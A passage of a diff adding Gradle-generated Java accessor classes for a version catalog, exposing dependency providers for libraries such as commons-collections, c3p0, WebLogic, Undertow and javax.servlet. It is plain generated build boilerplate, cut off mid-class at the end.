/** + * Dependency provider for databind with com.fasterxml.jackson.core:jackson-databind coordinates and + * with version reference com.fasterxml.jackson.core.jackson.databind + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getDatabind() { + return create("com.fasterxml.jackson.core.jackson.databind"); + } + + } + + public static class ComIbmLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereLibraryAccessors laccForComIbmWebsphereLibraryAccessors = new ComIbmWebsphereLibraryAccessors(owner); + + public ComIbmLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere + */ + public ComIbmWebsphereLibraryAccessors getWebsphere() { + return laccForComIbmWebsphereLibraryAccessors; + } + + } + + public static class ComIbmWebsphereLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverLibraryAccessors laccForComIbmWebsphereAppserverLibraryAccessors = new ComIbmWebsphereAppserverLibraryAccessors(owner); + + public ComIbmWebsphereLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver + */ + public ComIbmWebsphereAppserverLibraryAccessors getAppserver() { + return laccForComIbmWebsphereAppserverLibraryAccessors; + } + + } + + public static class ComIbmWebsphereAppserverLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiLibraryAccessors laccForComIbmWebsphereAppserverApiLibraryAccessors = new ComIbmWebsphereAppserverApiLibraryAccessors(owner); + + public ComIbmWebsphereAppserverLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api + */ + public ComIbmWebsphereAppserverApiLibraryAccessors getApi() { + return laccForComIbmWebsphereAppserverApiLibraryAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComLibraryAccessors laccForComIbmWebsphereAppserverApiComLibraryAccessors = new ComIbmWebsphereAppserverApiComLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com + */ + public ComIbmWebsphereAppserverApiComLibraryAccessors getCom() { + return laccForComIbmWebsphereAppserverApiComLibraryAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComIbmLibraryAccessors laccForComIbmWebsphereAppserverApiComIbmLibraryAccessors = new ComIbmWebsphereAppserverApiComIbmLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiComLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com.ibm + */ + public ComIbmWebsphereAppserverApiComIbmLibraryAccessors getIbm() { + return laccForComIbmWebsphereAppserverApiComIbmLibraryAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors laccForComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiComIbmLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com.ibm.websphere + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors getWebsphere() { + return laccForComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors laccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com.ibm.websphere.appserver + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors getAppserver() { + return laccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors laccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api + */ + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors getApi() { + return laccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors; + } + + } + + public static class ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors extends SubDependencyFactory { + + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for wsoc with com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc coordinates and + * with version reference com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getWsoc() { + return create("com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc"); + } + + } + + public static class ComMchangeLibraryAccessors extends SubDependencyFactory { + + public ComMchangeLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for c3p0 with com.mchange:c3p0 coordinates and + * with version reference com.mchange.c3p0 + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getC3p0() { + return create("com.mchange.c3p0"); + } + + } + + public static class ComNqzeroLibraryAccessors extends SubDependencyFactory { + private final ComNqzeroPermitLibraryAccessors laccForComNqzeroPermitLibraryAccessors = new ComNqzeroPermitLibraryAccessors(owner); + + public ComNqzeroLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.nqzero.permit + */ + public ComNqzeroPermitLibraryAccessors getPermit() { + return laccForComNqzeroPermitLibraryAccessors; + } + + } + + public static class ComNqzeroPermitLibraryAccessors extends SubDependencyFactory { + + public ComNqzeroPermitLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for reflect with com.nqzero:permit-reflect coordinates and + * with version reference com.nqzero.permit.reflect + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getReflect() { + return create("com.nqzero.permit.reflect"); + } + + } + + public static class ComOracleLibraryAccessors extends SubDependencyFactory { + private final ComOracleWeblogicLibraryAccessors laccForComOracleWeblogicLibraryAccessors = new ComOracleWeblogicLibraryAccessors(owner); + + public ComOracleLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.oracle.weblogic + */ + public ComOracleWeblogicLibraryAccessors getWeblogic() { + return laccForComOracleWeblogicLibraryAccessors; + } + + } + + public static class ComOracleWeblogicLibraryAccessors extends SubDependencyFactory { + private final ComOracleWeblogicWeblogicLibraryAccessors laccForComOracleWeblogicWeblogicLibraryAccessors = new ComOracleWeblogicWeblogicLibraryAccessors(owner); + + public ComOracleWeblogicLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.oracle.weblogic.weblogic + */ + public ComOracleWeblogicWeblogicLibraryAccessors getWeblogic() { + return laccForComOracleWeblogicWeblogicLibraryAccessors; + } + + } + + public static class ComOracleWeblogicWeblogicLibraryAccessors extends SubDependencyFactory { + + public ComOracleWeblogicWeblogicLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for server with com.oracle.weblogic:weblogic-server coordinates and + * with version reference com.oracle.weblogic.weblogic.server + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getServer() { + return create("com.oracle.weblogic.weblogic.server"); + } + + } + + public static class ComTeradataLibraryAccessors extends SubDependencyFactory { + private final ComTeradataJdbcLibraryAccessors laccForComTeradataJdbcLibraryAccessors = new ComTeradataJdbcLibraryAccessors(owner); + + public ComTeradataLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.teradata.jdbc + */ + public ComTeradataJdbcLibraryAccessors getJdbc() { + return laccForComTeradataJdbcLibraryAccessors; + } + + } + + public static class ComTeradataJdbcLibraryAccessors extends SubDependencyFactory { + + public ComTeradataJdbcLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for terajdbc with com.teradata.jdbc:terajdbc coordinates and + * with version reference com.teradata.jdbc.terajdbc + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getTerajdbc() { + return create("com.teradata.jdbc.terajdbc"); + } + + } + + public static class ComUnboundidLibraryAccessors extends SubDependencyFactory { + private final ComUnboundidUnboundidLibraryAccessors laccForComUnboundidUnboundidLibraryAccessors = new ComUnboundidUnboundidLibraryAccessors(owner); + + public ComUnboundidLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.unboundid.unboundid + */ + public ComUnboundidUnboundidLibraryAccessors getUnboundid() { + return laccForComUnboundidUnboundidLibraryAccessors; + } + + } + + public static class ComUnboundidUnboundidLibraryAccessors extends SubDependencyFactory { + + public ComUnboundidUnboundidLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for ldapsdk with com.unboundid:unboundid-ldapsdk coordinates and + * with version reference com.unboundid.unboundid.ldapsdk + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getLdapsdk() { + return create("com.unboundid.unboundid.ldapsdk"); + } + + } + + public static class ComVaadinLibraryAccessors extends SubDependencyFactory { + private final ComVaadinVaadinLibraryAccessors laccForComVaadinVaadinLibraryAccessors = new ComVaadinVaadinLibraryAccessors(owner); + + public ComVaadinLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.vaadin.vaadin + */ + public ComVaadinVaadinLibraryAccessors getVaadin() { + return laccForComVaadinVaadinLibraryAccessors; + } + + } + + public static class ComVaadinVaadinLibraryAccessors extends SubDependencyFactory { + + public ComVaadinVaadinLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for server with com.vaadin:vaadin-server coordinates and + * with version reference com.vaadin.vaadin.server + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getServer() { + return create("com.vaadin.vaadin.server"); + } + + } + + public static class CommonsLibraryAccessors extends SubDependencyFactory { + private final CommonsBeanutilsLibraryAccessors laccForCommonsBeanutilsLibraryAccessors = new CommonsBeanutilsLibraryAccessors(owner); + private final CommonsCliLibraryAccessors laccForCommonsCliLibraryAccessors = new CommonsCliLibraryAccessors(owner); + private final CommonsCollectionsLibraryAccessors laccForCommonsCollectionsLibraryAccessors = new CommonsCollectionsLibraryAccessors(owner); + + public CommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at commons.beanutils + */ + public CommonsBeanutilsLibraryAccessors getBeanutils() { + return laccForCommonsBeanutilsLibraryAccessors; + } + + /** + * Group of libraries at commons.cli + */ + public CommonsCliLibraryAccessors getCli() { + return laccForCommonsCliLibraryAccessors; + } + + /** + * Group of libraries at commons.collections + */ + public CommonsCollectionsLibraryAccessors getCollections() { + return laccForCommonsCollectionsLibraryAccessors; + } + + } + + public static class CommonsBeanutilsLibraryAccessors extends SubDependencyFactory { + private final CommonsBeanutilsCommonsLibraryAccessors laccForCommonsBeanutilsCommonsLibraryAccessors = new CommonsBeanutilsCommonsLibraryAccessors(owner); + + public CommonsBeanutilsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at commons.beanutils.commons + */ + public CommonsBeanutilsCommonsLibraryAccessors getCommons() { + return laccForCommonsBeanutilsCommonsLibraryAccessors; + } + + } + + public static class CommonsBeanutilsCommonsLibraryAccessors extends SubDependencyFactory { + + public CommonsBeanutilsCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for beanutils with commons-beanutils:commons-beanutils coordinates and + * with version reference commons.beanutils.commons.beanutils + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getBeanutils() { + return create("commons.beanutils.commons.beanutils"); + } + + } + + public static class CommonsCliLibraryAccessors extends SubDependencyFactory { + private final CommonsCliCommonsLibraryAccessors laccForCommonsCliCommonsLibraryAccessors = new CommonsCliCommonsLibraryAccessors(owner); + + public CommonsCliLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at commons.cli.commons + */ + public CommonsCliCommonsLibraryAccessors getCommons() { + return laccForCommonsCliCommonsLibraryAccessors; + } + + } + + public static class CommonsCliCommonsLibraryAccessors extends SubDependencyFactory { + + public CommonsCliCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for cli with commons-cli:commons-cli coordinates and + * with version reference commons.cli.commons.cli + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCli() { + return create("commons.cli.commons.cli"); + } + + } + + public static class CommonsCollectionsLibraryAccessors extends SubDependencyFactory { + private final CommonsCollectionsCommonsLibraryAccessors laccForCommonsCollectionsCommonsLibraryAccessors = new CommonsCollectionsCommonsLibraryAccessors(owner); + + public CommonsCollectionsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at commons.collections.commons + */ + public CommonsCollectionsCommonsLibraryAccessors getCommons() { + return laccForCommonsCollectionsCommonsLibraryAccessors; + } + + } + + public static class CommonsCollectionsCommonsLibraryAccessors extends SubDependencyFactory { + + public CommonsCollectionsCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for collections with commons-collections:commons-collections coordinates and + * with version reference commons.collections.commons.collections + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCollections() { + return create("commons.collections.commons.collections"); + } + + } + + public static class IoLibraryAccessors extends SubDependencyFactory { + private final IoProjectreactorLibraryAccessors laccForIoProjectreactorLibraryAccessors = new IoProjectreactorLibraryAccessors(owner); + private final IoUndertowLibraryAccessors laccForIoUndertowLibraryAccessors = new IoUndertowLibraryAccessors(owner); + + public IoLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at io.projectreactor + */ + public IoProjectreactorLibraryAccessors getProjectreactor() { + return laccForIoProjectreactorLibraryAccessors; + } + + /** + * Group of libraries at io.undertow + */ + public IoUndertowLibraryAccessors getUndertow() { + return laccForIoUndertowLibraryAccessors; + } + + } + + public static class IoProjectreactorLibraryAccessors extends SubDependencyFactory { + private final IoProjectreactorReactorLibraryAccessors laccForIoProjectreactorReactorLibraryAccessors = new IoProjectreactorReactorLibraryAccessors(owner); + + public IoProjectreactorLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at io.projectreactor.reactor + */ + public IoProjectreactorReactorLibraryAccessors getReactor() { + return laccForIoProjectreactorReactorLibraryAccessors; + } + + } + + public static class IoProjectreactorReactorLibraryAccessors extends SubDependencyFactory { + + public IoProjectreactorReactorLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with io.projectreactor:reactor-core coordinates and + * with version reference io.projectreactor.reactor.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("io.projectreactor.reactor.core"); + } + + } + + public static class IoUndertowLibraryAccessors extends SubDependencyFactory { + private final IoUndertowUndertowLibraryAccessors laccForIoUndertowUndertowLibraryAccessors = new IoUndertowUndertowLibraryAccessors(owner); + + public IoUndertowLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at io.undertow.undertow + */ + public IoUndertowUndertowLibraryAccessors getUndertow() { + return laccForIoUndertowUndertowLibraryAccessors; + } + + } + + public static class IoUndertowUndertowLibraryAccessors extends SubDependencyFactory { + + public IoUndertowUndertowLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with io.undertow:undertow-core coordinates and + * with version reference io.undertow.undertow.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("io.undertow.undertow.core"); + } + + /** + * Dependency provider for servlet with io.undertow:undertow-servlet coordinates and + * with version reference io.undertow.undertow.servlet + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getServlet() { + return create("io.undertow.undertow.servlet"); + } + + } + + public static class JavaxLibraryAccessors extends SubDependencyFactory { + private final JavaxMediaLibraryAccessors laccForJavaxMediaLibraryAccessors = new JavaxMediaLibraryAccessors(owner); + private final JavaxServletLibraryAccessors laccForJavaxServletLibraryAccessors = new JavaxServletLibraryAccessors(owner); + private final JavaxWebsocketLibraryAccessors laccForJavaxWebsocketLibraryAccessors = new JavaxWebsocketLibraryAccessors(owner); + + public JavaxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.media + */ + public JavaxMediaLibraryAccessors getMedia() { + return laccForJavaxMediaLibraryAccessors; + } + + /** + * Group of libraries at javax.servlet + */ + public JavaxServletLibraryAccessors getServlet() { + return laccForJavaxServletLibraryAccessors; + } + + /** + * Group of libraries at javax.websocket + */ + public JavaxWebsocketLibraryAccessors getWebsocket() { + return laccForJavaxWebsocketLibraryAccessors; + } + + } + + public static class JavaxMediaLibraryAccessors extends SubDependencyFactory { + private final JavaxMediaJaiLibraryAccessors laccForJavaxMediaJaiLibraryAccessors = new JavaxMediaJaiLibraryAccessors(owner); + + public JavaxMediaLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.media.jai + */ + public JavaxMediaJaiLibraryAccessors getJai() { + return laccForJavaxMediaJaiLibraryAccessors; + } + + } + + public static class JavaxMediaJaiLibraryAccessors extends SubDependencyFactory { + private final JavaxMediaJaiJaiLibraryAccessors laccForJavaxMediaJaiJaiLibraryAccessors = new JavaxMediaJaiJaiLibraryAccessors(owner); + + public JavaxMediaJaiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.media.jai.jai + */ + public JavaxMediaJaiJaiLibraryAccessors getJai() { + return laccForJavaxMediaJaiJaiLibraryAccessors; + } + + } + + public static class JavaxMediaJaiJaiLibraryAccessors extends SubDependencyFactory { + + public JavaxMediaJaiJaiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with javax.media.jai:jai-core coordinates and + * with version reference javax.media.jai.jai.core + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getCore() { + return create("javax.media.jai.jai.core"); + } + + } + + public static class JavaxServletLibraryAccessors extends SubDependencyFactory { + private final JavaxServletJavaxLibraryAccessors laccForJavaxServletJavaxLibraryAccessors = new JavaxServletJavaxLibraryAccessors(owner); + + public JavaxServletLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.servlet.javax + */ + public JavaxServletJavaxLibraryAccessors getJavax() { + return laccForJavaxServletJavaxLibraryAccessors; + } + + } + + public static class JavaxServletJavaxLibraryAccessors extends SubDependencyFactory { + private final JavaxServletJavaxServletLibraryAccessors laccForJavaxServletJavaxServletLibraryAccessors = new JavaxServletJavaxServletLibraryAccessors(owner); + + public JavaxServletJavaxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.servlet.javax.servlet + */ + public JavaxServletJavaxServletLibraryAccessors getServlet() { + return laccForJavaxServletJavaxServletLibraryAccessors; + } + + } + + public static class JavaxServletJavaxServletLibraryAccessors extends SubDependencyFactory { + + public JavaxServletJavaxServletLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for api with javax.servlet:javax.servlet-api coordinates and + * with version reference javax.servlet.javax.servlet.api + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getApi() { + return create("javax.servlet.javax.servlet.api"); + } + + } + + public static class JavaxWebsocketLibraryAccessors extends SubDependencyFactory { + private final JavaxWebsocketJavaxLibraryAccessors laccForJavaxWebsocketJavaxLibraryAccessors = new JavaxWebsocketJavaxLibraryAccessors(owner); + + public JavaxWebsocketLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.websocket.javax + */ + public JavaxWebsocketJavaxLibraryAccessors getJavax() { + return laccForJavaxWebsocketJavaxLibraryAccessors; + } + + } + + public static class JavaxWebsocketJavaxLibraryAccessors extends SubDependencyFactory { + private final JavaxWebsocketJavaxWebsocketLibraryAccessors laccForJavaxWebsocketJavaxWebsocketLibraryAccessors = new JavaxWebsocketJavaxWebsocketLibraryAccessors(owner); + + public JavaxWebsocketJavaxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.websocket.javax.websocket + */ + public JavaxWebsocketJavaxWebsocketLibraryAccessors getWebsocket() { + return laccForJavaxWebsocketJavaxWebsocketLibraryAccessors; + } + + } + + public static class JavaxWebsocketJavaxWebsocketLibraryAccessors extends SubDependencyFactory { + + public JavaxWebsocketJavaxWebsocketLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for api with javax.websocket:javax.websocket-api coordinates and + * with version reference javax.websocket.javax.websocket.api + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getApi() { + return create("javax.websocket.javax.websocket.api"); + } + + } + + public static class JbossLibraryAccessors extends SubDependencyFactory { + private final JbossJbossLibraryAccessors laccForJbossJbossLibraryAccessors = new JbossJbossLibraryAccessors(owner); + + public JbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at jboss.jboss + */ + public JbossJbossLibraryAccessors getJboss() { + return laccForJbossJbossLibraryAccessors; + } + + } + + public static class JbossJbossLibraryAccessors extends SubDependencyFactory { + + public JbossJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for serialization with jboss:jboss-serialization coordinates and + * with version reference jboss.jboss.serialization + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getSerialization() { + return create("jboss.jboss.serialization"); + } + + } + + public static class JunitLibraryAccessors extends SubDependencyFactory { + + public JunitLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for junit with junit:junit coordinates and + * with version reference junit.junit + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getJunit() { + return create("junit.junit"); + } + + } + + public static class NetLibraryAccessors extends SubDependencyFactory { + private final NetJodahLibraryAccessors laccForNetJodahLibraryAccessors = new NetJodahLibraryAccessors(owner); + private final NetSfLibraryAccessors laccForNetSfLibraryAccessors = new NetSfLibraryAccessors(owner); + + public NetLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at net.jodah + */ + public NetJodahLibraryAccessors getJodah() { + return laccForNetJodahLibraryAccessors; + } + + /** + * Group of libraries at net.sf + */ + public NetSfLibraryAccessors getSf() { + return laccForNetSfLibraryAccessors; + } + + } + + public static class NetJodahLibraryAccessors extends SubDependencyFactory { + + public NetJodahLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for expiringmap with net.jodah:expiringmap coordinates and + * with version reference net.jodah.expiringmap + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getExpiringmap() { + return create("net.jodah.expiringmap"); + } + + } + + public static class NetSfLibraryAccessors extends SubDependencyFactory { + private final NetSfJsonLibraryAccessors laccForNetSfJsonLibraryAccessors = new NetSfJsonLibraryAccessors(owner); + + public NetSfLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at net.sf.json + */ + public NetSfJsonLibraryAccessors getJson() { + return laccForNetSfJsonLibraryAccessors; + } + + } + + public static class NetSfJsonLibraryAccessors extends SubDependencyFactory { + private final NetSfJsonLibLibraryAccessors laccForNetSfJsonLibLibraryAccessors = new NetSfJsonLibLibraryAccessors(owner); + + public NetSfJsonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at net.sf.json.lib + */ + public NetSfJsonLibLibraryAccessors getLib() { + return laccForNetSfJsonLibLibraryAccessors; + } + + } + + public static class NetSfJsonLibLibraryAccessors extends SubDependencyFactory { + private final NetSfJsonLibJsonLibraryAccessors laccForNetSfJsonLibJsonLibraryAccessors = new NetSfJsonLibJsonLibraryAccessors(owner); + + public NetSfJsonLibLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at net.sf.json.lib.json + */ + public NetSfJsonLibJsonLibraryAccessors getJson() { + return laccForNetSfJsonLibJsonLibraryAccessors; + } + + } + + public static class NetSfJsonLibJsonLibraryAccessors extends SubDependencyFactory { + + public NetSfJsonLibJsonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for lib with net.sf.json-lib:json-lib coordinates and + * with version reference net.sf.json.lib.json.lib + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getLib() { + return create("net.sf.json.lib.json.lib"); + } + + } + + public static class OrgLibraryAccessors extends SubDependencyFactory { + private final OrgApacheLibraryAccessors laccForOrgApacheLibraryAccessors = new OrgApacheLibraryAccessors(owner); + private final OrgAspectjLibraryAccessors laccForOrgAspectjLibraryAccessors = new OrgAspectjLibraryAccessors(owner); + private final OrgBeanshellLibraryAccessors laccForOrgBeanshellLibraryAccessors = new OrgBeanshellLibraryAccessors(owner); + private final OrgClojureLibraryAccessors laccForOrgClojureLibraryAccessors = new OrgClojureLibraryAccessors(owner); + private final OrgCodehausLibraryAccessors laccForOrgCodehausLibraryAccessors = new OrgCodehausLibraryAccessors(owner); + private final OrgEclipseLibraryAccessors laccForOrgEclipseLibraryAccessors = new OrgEclipseLibraryAccessors(owner); + private final OrgFusesourceLibraryAccessors laccForOrgFusesourceLibraryAccessors = new OrgFusesourceLibraryAccessors(owner); + private final OrgGlassfishLibraryAccessors laccForOrgGlassfishLibraryAccessors = new OrgGlassfishLibraryAccessors(owner); + private final OrgHibernateLibraryAccessors laccForOrgHibernateLibraryAccessors = new OrgHibernateLibraryAccessors(owner); + private final OrgJavassistLibraryAccessors laccForOrgJavassistLibraryAccessors = new OrgJavassistLibraryAccessors(owner); + private final OrgJbossLibraryAccessors laccForOrgJbossLibraryAccessors = new OrgJbossLibraryAccessors(owner); + private final OrgJenkinsLibraryAccessors laccForOrgJenkinsLibraryAccessors = new OrgJenkinsLibraryAccessors(owner); + private final OrgOw2LibraryAccessors laccForOrgOw2LibraryAccessors = new OrgOw2LibraryAccessors(owner); + private final OrgPythonLibraryAccessors laccForOrgPythonLibraryAccessors = new OrgPythonLibraryAccessors(owner); + private final OrgReflectionsLibraryAccessors laccForOrgReflectionsLibraryAccessors = new OrgReflectionsLibraryAccessors(owner); + private final OrgSpringframeworkLibraryAccessors laccForOrgSpringframeworkLibraryAccessors = new OrgSpringframeworkLibraryAccessors(owner); + + public OrgLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache + */ + public OrgApacheLibraryAccessors getApache() { + return laccForOrgApacheLibraryAccessors; + } + + /** + * Group of libraries at org.aspectj + */ + public OrgAspectjLibraryAccessors getAspectj() { + return laccForOrgAspectjLibraryAccessors; + } + + /** + * Group of libraries at org.beanshell + */ + public OrgBeanshellLibraryAccessors getBeanshell() { + return laccForOrgBeanshellLibraryAccessors; + } + + /** + * Group of libraries at org.clojure + */ + public OrgClojureLibraryAccessors getClojure() { + return laccForOrgClojureLibraryAccessors; + } + + /** + * Group of libraries at org.codehaus + */ + public OrgCodehausLibraryAccessors getCodehaus() { + return laccForOrgCodehausLibraryAccessors; + } + + /** + * Group of libraries at org.eclipse + */ + public OrgEclipseLibraryAccessors getEclipse() { + return laccForOrgEclipseLibraryAccessors; + } + + /** + * Group of libraries at org.fusesource + */ + public OrgFusesourceLibraryAccessors getFusesource() { + return laccForOrgFusesourceLibraryAccessors; + } + + /** + * Group of libraries at org.glassfish + */ + public OrgGlassfishLibraryAccessors getGlassfish() { + return laccForOrgGlassfishLibraryAccessors; + } + + /** + * Group of libraries at org.hibernate + */ + public OrgHibernateLibraryAccessors getHibernate() { + return laccForOrgHibernateLibraryAccessors; + } + + /** + * Group of libraries at org.javassist + */ + public OrgJavassistLibraryAccessors getJavassist() { + return laccForOrgJavassistLibraryAccessors; + } + + /** + * Group of libraries at org.jboss + */ + public OrgJbossLibraryAccessors getJboss() { + return laccForOrgJbossLibraryAccessors; + } + + /** + * Group of libraries at org.jenkins + */ + public OrgJenkinsLibraryAccessors getJenkins() { + return laccForOrgJenkinsLibraryAccessors; + } + + /** + * Group of libraries at org.ow2 + */ + public OrgOw2LibraryAccessors getOw2() { + return laccForOrgOw2LibraryAccessors; + } + + /** + * Group of libraries at org.python + */ + public OrgPythonLibraryAccessors getPython() { + return laccForOrgPythonLibraryAccessors; + } + + /** + * Group of libraries at org.reflections + */ + public OrgReflectionsLibraryAccessors getReflections() { + return laccForOrgReflectionsLibraryAccessors; + } + + /** + * Group of libraries at org.springframework + */ + public OrgSpringframeworkLibraryAccessors getSpringframework() { + return laccForOrgSpringframeworkLibraryAccessors; + } + + } + + public static class OrgApacheLibraryAccessors extends SubDependencyFactory { + private final 